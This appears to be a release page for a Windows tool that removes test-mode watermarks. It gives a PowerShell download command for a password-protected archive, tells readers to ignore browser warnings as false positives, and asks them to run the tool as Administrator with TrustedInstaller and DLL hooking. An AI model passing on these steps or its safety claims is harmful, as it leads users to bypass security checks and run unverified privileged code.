Windows Watermark Remover v1.0.0

Remove "Test Mode" and evaluation watermarks from your Windows desktop.

🔐 ARCHIVE PASSWORD

Password: github.com

📦 Download

⚠️ Browser Warning Notice
Edge and Chrome may flag this tool as potentially unwanted due to system-level operations. This is a false positive - the tool is completely safe and open-source.

Recommended download methods:

• Use Firefox browser (no warnings)
• Use PowerShell (run as Administrator):

  iwr "https://github.com/wesmar/Watermark_Remover/releases/download/v1.0.0-Watermark_Remover/SignGuiPatcher.7z" -OutFile "SignGuiPatcher.7z"

SignGuiPatcher.7z (~20 KB)

✨ Features

• Removes Windows evaluation and test mode watermarks
• Clean GUI with real-time status display
• Automatic Explorer restart - no logout required
• One-click restore functionality
• Minimal 40 KB executable size

🔧 Requirements

• Windows 10/11 (x64) - tested on builds 25H2 26200+
• Administrator privileges

🚀 Usage

1. Extract archive using password: github.com
2. Run SignGuiPatcher.exe as Administrator
3. Click "APPLY PATCH" to remove watermark
4. Use "RESTORE" to revert changes anytime

⚠️ Important

• Uses TrustedInstaller for system-level operations
• Creates proxy DLL via API hooking - no system files modified
• Single registry modification (fully reversible)
• All changes are 100% reversible

Full documentation and source code:
github.com/wesmar/Watermark_Remover

Author: Marek Wesołowski (WESMAR)
Website: kvc.pl | Email: marek@wesolowski.eu.org